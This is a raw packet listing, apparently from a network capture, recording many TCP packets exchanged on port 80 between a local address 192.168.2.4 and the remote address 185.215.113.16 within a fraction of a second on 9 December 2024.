Dec 9, 2024 20:27:49.262917042 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.262964964 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.263000965 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.263945103 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.264164925 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.264209032 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.265045881 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.265172958 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.265214920 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.266103029 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.266211033 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.266254902 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.267210007 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.267332077 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.267362118 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.268471956 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.268522978 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.268593073 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.269397020 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.269452095 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.269505024 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.269541979 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.270418882 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.270561934 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.270620108 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.271538019 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.271662951 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.271728992 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.272617102 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.272738934 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.272799015 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.273683071 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.273734093 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.273823977 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.274821997 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.274878979 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.274885893 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.275335073 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.275959969 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.276036978 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.276087999 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.276953936 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.277085066 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.277132034 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.278141975 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.278192043 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.278215885 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.279114962 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.279165030 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.279223919 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.279326916 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.280360937 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.280478954 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.280527115 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.281274080 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.281400919 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.281451941 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.282366037 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.282416105 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.282515049 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.283330917 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.283561945 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.283607006 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.283690929 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.284674883 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.284722090 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.284739017 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.285701036 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.285753012 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.285753965 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.285789013 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.286995888 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.287219048 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.287270069 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.287974119 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.288029909 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.288151026 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.289232969 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.289285898 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.289311886 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.290241957 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.290287018 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.290314913 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.290354967 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.291388035 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.291476965 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.291527033 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.292350054 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.292475939 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.292526007 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.293251038 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.293298960 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.293411016 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.294275999 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.294329882 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.430135012 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.430269003 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.430361032 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.430656910 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.430794954 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.430850029 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.431726933 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.431807995 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.431854963 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.432892084 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.432945967 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.432955027 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.433895111 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.433954954 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.434082985 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.434976101 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.435029984 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.435110092 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.435149908 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.436052084 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.436132908 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.436178923 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.437156916 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.437283993 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.437330961 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.438208103 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.438339949 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.438389063 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.439347982 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.439455032 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.439503908 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.440491915 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.440536022 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.440598965 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.440650940 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.441461086 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.441560030 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.441566944 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.441641092 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.442513943 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.442569971 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.442590952 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.442635059 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.443608046 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.443717957 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.443761110 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.444789886 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.444838047 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.444950104 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.445035934 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.445835114 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.445878983 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.445946932 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.445991039 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.446932077 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.446980953 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.446986914 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.447069883 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.447969913 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.448014021 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.448071957 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.448123932 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.449064016 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.449116945 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.449153900 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.449196100 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.450120926 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.450176001 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.450212955 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.450253010 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.451210976 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.451261044 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.451337099 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.451448917 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.452271938 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.452342033 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.452357054 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.452415943 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.453399897 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.453449011 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.453545094 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.453587055 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.454442024 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.454493046 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.454525948 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.454562902 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.455552101 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.455600977 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.455655098 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.455693007 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.456636906 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.456681967 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.456758976 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.456799984 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.457726002 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.457813978 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.457859993 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.457907915 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.459528923 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.459579945 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.459753990 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.459808111 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.459909916 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.459959984 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.460158110 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.460222960 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.460953951 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.460999012 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.461075068 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.461129904 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.462033987 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.462088108 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.462122917 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.462312937 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.463123083 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.463182926 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.463217020 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.463326931 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.464211941 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.464262962 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.464335918 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.464490891 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.465287924 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.465354919 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.465409994 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.465488911 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.466442108 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.466502905 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.466511965 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.466557026 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.467468023 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.467518091 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.467602015 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.467650890 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.468549013 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.468713999 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.469618082 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.469796896 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.470240116 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.470676899 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.470727921 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.470791101 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.470839977 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.471798897 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.471863031 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.471980095 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.472026110 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.472897053 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.472954035 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.473004103 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.473048925 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.473959923 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.474024057 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.474031925 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.474070072 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.475027084 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.475085020 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.475115061 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.475270987 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.476104021 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.476146936 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.476182938 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.476222992 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.477276087 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.477299929 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.477334023 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.477344036 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.478384972 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.478437901 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.478476048 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.478513956 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.479401112 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.479458094 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.479486942 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.479526997 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.480453968 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.480504990 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.480576038 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.480618954 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.481524944 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.481571913 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.481601954 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.481636047 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.482608080 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.482657909 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.482739925 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.482777119 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.483692884 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.483736038 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.483794928 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.483830929 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.484749079 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.484793901 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.484874010 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.485196114 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.485846996 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.485903025 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.485955000 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.485996008 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.486893892 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.486980915 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.622394085 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.622466087 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.622498035 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.622536898 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.622827053 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.622886896 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.622968912 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.623140097 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.623938084 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.623990059 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.624002934 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.624046087 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.625051022 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.625104904 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.625240088 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.625300884 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.626079082 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.626140118 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.626176119 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.626312971 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.627194881 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.627252102 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.627305984 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.627355099 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.628251076 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.628410101 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.628422976 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.628504038 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.629379988 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.629431009 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.629511118 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.629599094 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.630431890 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.630502939 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.630532980 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.630578041 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.631494999 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.631544113 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.631581068 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.631622076 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.632589102 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.632646084 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.632680893 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.632766008 CET	49766	80	192.168.2.4	185.215.113.16
